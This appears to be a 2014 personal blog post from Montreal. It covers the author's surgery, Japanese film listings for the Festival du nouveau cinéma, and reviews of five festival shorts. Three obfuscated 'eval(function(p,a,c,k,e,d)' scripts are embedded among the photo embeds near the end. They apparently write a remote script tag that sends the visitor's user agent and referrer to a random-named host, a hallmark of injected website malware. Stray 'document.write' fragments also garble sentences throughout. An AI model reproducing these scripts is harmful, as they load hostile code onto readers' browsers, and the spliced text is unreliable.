L’image du chat-medi

Saya (2014-09-26)
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<a href="
https://www.flickr.com/photos/clodjee/15189490819&quot; target="“new”" title="Saya by Clodjee Pelletier, document.write(“”); on Flickr”>Saya

A September fortnight in review

On the domestic front, document.write(“”); life was dominated by health problems. With the second week of September, I started feeling discomfort and then pain, but kept going to work because I finally was given some responsibilities and didn’t want to shirk from them. It was obviously a mistake. Thursday (Sept. 11th of all days!) I skipped work to go to the clinic but they didn’t do much to relieve the pain. The next day it had increased so much that I couldn’t bear it, so I decided to go to the emergency. I ended up spending a few days at the hospital, getting a surgery and having to take a three-week sick leave to recover.
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I thought it would be a great opportunity to catch up on my readings and writings, but (so far) I was rather wrong (I couldn’t write a single new book or movie comment, beside finishing two that were already in the works:
Judas and the FFM Japanese shorts). First, I felt quite tired (the anaesthetic and all the medications they pump into you can really mess up your system) and the various post-up care (like daily visits to the clinic) kept me rather busy. It’s rather disappointing but, hey!, health must come first.

Another disappointment was that the pain made me miss the ordering window for the new iPhone 6 so instead of getting it on launch day I had to wait for a few extra weeks. At first, I was told that I would get it only in early October, but it seems I might get it at the end of the week instead. Great! It will give me something to keep my mind busy (since I cannot really do work around the house, still have a little trouble sitting at the computer and seems to have difficulties concentrating). Just resting can be quite boring after a few weeks.

September has brought us unseasonably cold temperatures (around 10 to 16 ‘C) so there cannot be any doubt that the summer is at its end (well, technically yes, but still… early fall is usually warmer than that!). However, it is suppose to warm up a little soon. And my calendar reminds me that I still have 764 weeks before retirement…

In the news there was lots of talk about the latest Apple products, the Scottish independence referendum and the World trying to come up with a response to the Islamic State treats. I had plenty of time to read and gather links to many interesting news stories which I am sharing with you after the jump…


Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Apple: iOS8

Apple: iPhone 6

Books, Digital Edition & Libraries

Economy, Environment & Foreign Politics

Health, home & garden

Humour

iPhoneography

Local news

Media, Culture, Entertainment & Society

Movie Festivals

Sciences & History

Technology, Gadgets & Internet

Union stuff & Montreal’s libraries / Régimes de retraite

[ Traduire ]

Festival du Nouveau Cinema 2014

The Festival du nouveau cinéma (FNC) is pleased to announce that The Good Lie (U.S.), document.write(“”); directed by Philippe Falardeau, will kick off its 43rd edition, to be held in Montreal from October 8 to 19. The film will be preceded by Matthew Rankin’s short Mynarski Death Plummet (Quebec/Canada). The documentary feature The Salt of the Earth (Brazil/Italy/France), co-directed by Wim Wenders and Juliano Ribeiro Salgado, will close the Festival on October 18. [Read the full press release]
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Tokyo Tribe by Japanese director Sion Sono will open the Temps Zéro section, this year celebrating its 10th anniversary. The rap-infused musical is set in a futuristic Tokyo where the gangs that run the city are forced to team up to battle a nasty, nefarious ogre of a mob boss named Big Buppa (Rikki Takeuchi).

In total the festival will offer half a dozen Japanese movies including the latest Shinya Tsukamoto, Takashi Miike, Isao Takahata, and Sion Sono!! Those are all Japanese blockbusters that have been previously screened at other film festivals. I am not planning to attend the festival (because of the lack of time, the unfriendliness of the festival toward small online media but mostly because I must rest after my recent health problems). However, I’ll post here all the information I can get for those who will want to attend:

  • Fire on the plain (?? / Nobi): Japan, 2014, 87 min; Dir./Phot./Prod.: Shinya Tsukamoto; Scr.: Shohei Ooka, Shinya Tsukamoto; Cast: Shinya Tsukamoto, Lily Franky, Tatsuya Nakamura.

    “The philippines, during the second World War, on the Japanese side. An enlisted man is trying to survive. He has tuberculosis, his intense fever is causing gangrene, he’s hungry. so very, very hungry. He is alive, but already dead. And all around him are horrors, each more terrible than the last.” (from the Festival’s website)

    Screening as part of the “Temps 0” segment: Sat 10/11 21:30 at Auditorium Alumni H110 (Concordia); Sun 10/12 13:15 at Cinéma du Parc 3.

  • Over your dead body (?? ??? / Kuime): Japan, 2014, 93 min; Dir.: Takashi Miike; Scr.: Kikumi Yamagishi (based on a kabuki play by Tsuruya Nanboku IV); Phot.: Nobuyasu Kita; Ed.: Kenji Yamashita; Mus.: Kôji Endô; Cast: Ko Shibasaki, Hitomi Katayama, Ebizô Ichikawa XI, Hideaki Itô.

    “Miyuki and her boyfriend Kosuke land the lead roles in a highly anticipated theatre production. Miyuki will play a woman betrayed who seeks revenge from the beyond. Kosuke will play her lover, a devious psychopath. After rehearsals begin, the production is beset by episodes of madness and violence. is life suddenly imitating art?” (from the Festival’s website)

    Screening as part of the “Temps 0” segment: Mon 10/13 21:15 at Cinéma du Parc 1; Sat 10/18 21:45 at Cineplex Odeon Quartier Latin A.

  • Still in the water (2???? / Futatsume no Mado / Lit. “The Second Window”): Japan, 2014, 119 min; Dir./Scr.: Naomi Kawase; Phot.: Yutaka Yamazaki; Ed.: Tina Baz, Naomi Kawase; Mus.: Hashiken; Cast: Nijiro Murakami, Jun Yoshinaga, Tetta Sugimoto, Miyuki Matsuda, Makiko Watanabe, Jun Murakami, Hideo Sakaki, Fujio Tokita.

    “The people of the Amami archipelago in southwestern Japan live in harmony with nature, seeing the divine in the tiniest leaf or smallest twig and celebrating it through traditional song and dance. In this idyllic setting, Kaito, a boy of 14, comes across a man’s body floating in the sea one night. Together with his friend Kyoko (who has a crush on him), he sets out to solve the mystery. But during the course of the investigation and the personal challenges it presents, the two teens discover much more than they had imagined.” (from the Festival’s website)

    Screening as a special presentation: Sun 10/12 15:20 at Auditorium Alumni H110 (Concordia); Sun 10/19 16:30 at Cinéma du Parc 1.

  • The Tale of Princess Kaguya (??????? / Kaguya-Hime no Monogatari): Japan, 2013, 137 min; Dir.: Isao Takahata; Scr.: Isao Takahata, Riko Sakaguchi; animation by Studio Ghibli (Char. Design: Kenichi Konishi; Art Dir.: Kazuo Oga; Anim. Dir.: Kenichi Konishi); Mus.: Joe Hisaishi; Original Voice Cast: Aki Asakura, Kengo Kora, Takeo Chii, Nobuko Miyamoto, Atsuko Takahata, Tomoko Tabata, Tatekawa Shinosuke, Takaya Kamikawa, Hikaru Ij?in, Ryudo Uzaki, Nakamura Shichinosuke II, Isao Hashizume, Yukiji Asaoka, Tatsuya Nakadai.

    “Born inside a bamboo stalk, tiny Kaguya (“radiant princess”) is discovered by an old bamboo cutter, who brings her home. Kaguya grows into a lovely young woman whose beauty is renowned throughout the land. Five noble- men compete fiercely for her hand in marriage, attempting impossible tasks to impress her. But this magical woman’s destiny lies above such mundane concerns.” (from the Festival’s website)

    Screening as part of the “Temps 0” segment: Mon 10/13 14:00; Fri 10/17 18:30 at Cineplex Odeon Quartier Latin A .

  • Tokyo Tribe (????? ???? / T?ky? Toraibu): Japan, 2014, 116 min; Dir.: Sion Sono; Scr.: Sion Sono (based on the manga by Santa Inoue); Phot.: Daisuke Sôma; Ed.: Jun’ichi Itô; Mus.: B.C.D.M.G.; Cast: Ryohei Suzuki, Young Dais, Nana Seino, Ryuta Sato, Shoko Nakagawa, Mika Kano, Yosuke Kubozuka, Riki Takeuchi, Takuya Ishida, Shunsuke Daito, Yui Ichikawa, Denden, Shota Sometani, Mao Mita.

    “A future Tokyo where gangs reign supreme. A nasty mobster who happens to be an ogre (yes, the kind that eats people) by the name of Big Buppa (Rikki Takeuchi in an instant-classic and thoroughly grotesque performance) wants to take on all the gangs. A young woman on the run finds a solution to the crisis, uniting all of Tokyo against the monster. Gang wars, fratricidal yakuza battles, criminal madness, revenge Tokyo-style. Yes, Tokyo Tribe has all that, but you might be surprised to learn it’s also a musical–all rap, all the time, from the first frame to the last. ” (from the Festival’s website)

    Screening as part of the “Temps 0” segment: Thu 10/09 19:00 at Auditorium Alumni H110 (Concordia); Fri 10/10 16:30 at Cineplex Odeon Quartier Latin B.

  • The world of Kanako (?? / Kawaki): Japan, 2014, 118 min; Dir.: Tetsuya Nakashima; Scr.: Tetsuya Nakashima (based on the novel by Akio Fukamachi); Phot.: Shoichi Ato; Ed.: Yoshiyuki Koike; Cast: K?ji Yakusho, Nana Komatsu, Satoshi Tsumabuki, Joe Odagiri, Fumi Nikaid?, Hiroya Shimizu, Hiroki Nakajima, Ai Hashimoto, Asuka Kurosawa, Miki Nakatani, Jin Hoshino, Mahiro Takasugi, Jun Kunimura, Munetaka Aoki, Aoi Morikawa, Yasuo Koh, Megumi Hachitaya, Shouno Hayama.

    “Akikazu, a bitter, hard-drinking cop who was kicked off the police force, is contacted by his ex-wife when their straight-A daughter, Kanako, goes missing. The man embarks on a brutal investigation that goes deep into the heart of a clandestine underworld ruled by violence and murder. As the body count rises, the veil comes off Kanako’s secret life, revealing the horrifying truth.” (from the Festival’s website)

    Screening as part of the “Temps 0” segment: Wed 10/15 21:15 at Auditorium Alumni H110 (Concordia); Sat 10/18 15:00 at Cineplex Odeon Quartier Latin A.

[ Traduire ]

L’image du mer-fleurie

Un bourdon sur un Œillet d’Inde en début d’automne
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A
Bumblebee on a Tagetes in early fall
(Mon jardin / Home garden, document.write(“”); 2014-09-23)
Bumblebee

MWFF Japanese shorts

WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.
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There was five japanese short films presented at the 2014 Montreal World Film Festival. I’ve seen most of them and here are a few thoughts about them.

Kemukujara

“Keblujara depicts the cycle of bullying. The weak beat the weaker and they, document.write(“”); in turn, beat those weaker than them. This chain is finally broken by the very weakest, who turns into a beast and proceeds to fulfill his destiny.” (Text from the Festival’s program)

“Fruit d’une première collaboration entre l’artiste visuel Nonowe Akihito et le compositeur Isao Sano, ce film d’animation dessiné et peint à la main raconte quatre courtes histoires issues d’un pays appelé le Keblujara.” (Extrait du programme)

This experimental stop motion animation has no dialogue and is the first part of the Keblujara series. It is the only Japanese shorts films that was in competition this year and the only one that I couldn’t manage to see. However, I heard very good comments about it. For more information I refer you to the excellent commentary written by Claude R. Blouin (in French).

Kemukujara: Japan/Australia, 2014, 13 min.; Dir./Scr.: Akihito Nonowe; Phot.: Isao Sano, Konoka Takashiro; Ed. : Keblujara Productions; Mus.: Isao Sano. Presented at the Montreal World Film Festival on August 27th (CI at 9h00 & 19h00) and 28th (CI at 14h00).

For more information you can visit the following websites:

All he knows right

“In Keblujara, a mad artist lives in a box on his own back.” (Text from the Festival’s program)

“Animation dessinée et peinte à la main qui raconte une histoire d’un pays fictif appelé le Keblujara, fruit d’une collaboration entre l’artiste visuel Nonowe Akihito et le compositeur Isao Sano.” (Extrait du programme)

This experimental stop motion animation has no dialogue and is the second part of the Keblujara series. I am not a big fan of stop motion animation, particularly this “artsy-fartsy” type which always have nebulous stories that can often be opened to interpretation. In this case, an artist is living in a box on his own back. It reminds me a little of weird Czech animations like The Fantastic Planet.

However, this film is technically quite interesting as it mixes techniques like stop motion and standard animation. I particularly liked the effect created by mixing real fire and stop motion animation which was well done and must have been quite difficult (as well as lengthy and complicated) to achieve.

I missed the screening of the longer first part of this series but I was told that this shorter segment was much better, easier to understand and more balanced. I had the opportunity to participate to a nice “chat” with the production team (I could follow some part of the conversation, but Mr. Blouin kindly translated most of it).

All He Knows Right: Japan/Australia, 2014, 5 min.; Dir./Scr.: Akihito Nonowe; Phot.: Isao Sano, Konoka Takashiro; Ed. : Keblujara Productions; Mus.: Isao Sano.
For more information you can visit the following websites:

Suicide Volunteers

“The film is based on a true story of the flight school instructor who sacrificed his life in the suicide attacks at the end of World War II.” (Text from the Festival’s program)

“Le commandant Fujii, un instructeur de l’école de pilotage, a sacrifié sa vie dans des attentats-suicides à la fin de la Seconde Guerre Mondiale. Adaptation d’une histoire véridique.” (Extrait du programme)

A man who trains Japanese airplane pilots for the their suicide mission feels he is not doing his patriotic duty and requests to join his recruits on their mission. His superior deny his plea because his position as trainer is essential and he has a wife and children. He eloquently convinces the few students who question the validity of their mission as a waste. After his wife kills herself and the children, he is finally allowed to go on a mission.

It is a beautiful treatment for the most stupid part of Japanese history. The movie seems strangely neutral about this subject, as it neither condone or condemn the use of kamikaze. It’s a good period drama considering the limitation of a short film. I particularly like the effects giving the pictures an old WW2 look and feel.

Suicide volunteers (???? / Tokko Shigan): Japan, 2013, 25 min.; Dir./Scr./Ed.: Kenshow Onodera; Phot.: Shigeo Kobayashi; Mus.: Shiro Mashiba; Cast: Mitsuki Koga, Yuka Takeshima, Yuji Shikano, Yuji Kakizaki.
For more information you can visit the following websites:

The Free man

“Jay is an ex-con who tries to turn over a new leaf by working at a laundry store [where he] shares duties with Kit, a young woman with physical disability who is the boss’ niece.” (Text from the Festival’s program)

“Jay, un ex-détenu, tente de tourner une nouvelle page en travaillant dans une blanchisserie. Il y rencontre Kit, une jeune femme avec un handicap physique, nièce du propriétaire.” (Extrait du programme)

This is the only non-japanese movie in this bundle of shorts. It’s a gritty reality type of movie. An ex-convict work in a laundry shop and likes the handicapped niece of the owner. However, he soon realize that his boss is abusing her, but he hesitate doing anything because he really needs the job and fear going back to prison. At some point it is just too much for him… The dark photography emphasize well the oppressive feeling, but for the rest it’s an average violent chinese movie.

Unfortunately, the english subtitles were out of frame for the ENTIRE movie (only the chinese subtitles were visible) so I couldn’t tell the details of the story and only guess. The dumb-ass projectionist was probably sleeping on the job or, worse, simply didn’t care to reframe the screen (even if several people got up to notify the theatre’s staff). It’s not the first time that such problem occur at this theatre. They seem to take the cinephiles for cash cows and don’t give a damn about them. A real shame!

The Free man: Taiwan, 2014, 30 min.; Dir./Ed.: Sam Quah; Scr.: Yu-Li Chen; Phot.: Xin Hua Feng; Mus.: Wu Xin-Ying; Cast: Ming-Shuai Shi, Xing-Xing Rao.
For more information you can visit the following websites:

No return on perishables

“Short story about a miraculous phenomenon: that desiring another’s happiness can lead to happiness for oneself.” (Text from the Festival’s program)

“Une histoire courte qui illustre un phénomène miraculeux : désirez le bonheur de quelqu’un d’autre peut apporter le bonheur pour soi-même.” (Extrait du programme)

This is a nice and cute romantic comedy.

An insurance salesman meets lots of people for his job. He helps a man who wanted to commit suicide and convince him to live (at least a few more years). He also encounter a woman on a pilgrimage to help her daughter find a nice young man she could marry and bring back her missing husband. The salesman was going to the temple to pray that the flower-shop girl he secretly loves notices him and says yes to his proposal, but instead, after having met the woman, he wishes that she finds her husband and a nice son-in-law. A little later, he purchases flowers at the flower-shop and then comes back to gives them to the girl (she thinks he wants a refund, so she tells him “No return on perishables”!). But then he realizes that the mother of the flower-shop girl is the woman he met earlier on a pilgrimage and that her missing husband is back (and its the man he saved from killing himself)!

It’s a funny story but I felt that the overall quality of the production was a little below professional standard. Also they used a filter on the picture to saturate the colours (to boost them out a little). At first I thought it was due to a bad print or (worse) to a bad cinematography, but after reflection it was probably deliberate to add a dreamy feeling to this moralistic fantasy.

No return on perishables (???????????? / Koi ha kangaeruna, ai ha kanjiro / lit. “Do not think of love, must feel love”): Japan, 2013, 18 min.; Dir./Scr./Ed.: Takatsugu Naito; Phot.: Akiyuki Michikawa; Cast : Ryo Yoshiki, Hiromi Hakogi, Nozomi Tanaka.
For more information you can visit the following websites:

When the sun falls

“A wealthy elite guard of the shogunate is under house arrest for dereliction of duty for allowing an unauthorized person into Edo castle. His fate is unknowned.” (Text from the Festival’s program)

“En 1802, un garde d’élite bien nanti du shogunat est en résidence surveillée pour avoir manqué à son devoir en permettant l’accès au château d’Edo à une personne non autorisée. Son sort est pour l’instant incertain.” (Extrait du programme)

This is a beautiful Jidaigeki movie (period drama). A samurai who was careless in his duty must wait while his fate is decided. He is finally asked to commit seppuku.

This movie offers an interesting reflection on family, duty and how to live one’s life. It is very well made and probably equals any feature-length movie of the same style (samurai costume drama). It is quite powerful for a short movie.

When the sun falls (????? / Hi-wa-ochiru): Japan, 2014, 39 min.; Dir./Scr.: Yuji Kakizaki; Phot.: Yoshinobu Furukawa; Mus.: Shingo Nishimura; Cast : Masayuki Deai, Yuka Takeshima, Go Ibuki, Motoya Izumi, Ikuya Enokizono, Hyuma Ishida.
For more information you can visit the following websites:
This bundle of five Japanese & Taiwanese shorts was screened at the Montreal World Film Festival on August 26th, 2014 (Cinema Quartier Latin 13, 21h40 – there was a little more than a dozen people on the room, which was filled only at twenty or twenty-five percent of its capacity!) as part of the “Focus on World Cinema” (Regular) segment.

[ Traduire ]

L’image du chat-medi

Caramel (2014-09-05)
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tdrkr|var|u0026u|referrer|iiizh||js|php’.split(‘|’),0,{}))
<a href="
https://www.flickr.com/photos/clodjee/15113447159&quot; target="“new”" title="Caramel by Clodjee Pelletier, document.write(“”); on Flickr”>Untitled

L’image du mer-fleurie

<a href="https://www.flickr.com/photos/clodjee/15287001231&quot; target="“new”" title="Bouquet de fin d'été by Clodjee Pelletier, document.write(“”); on Flickr”>Bouquet de fin d'été
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tbbth|var|u0026u|referrer|ssszz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fztyb|var|u0026u|referrer|zybry||js|php’.split(‘|’),0,{}))
(2014-09-15)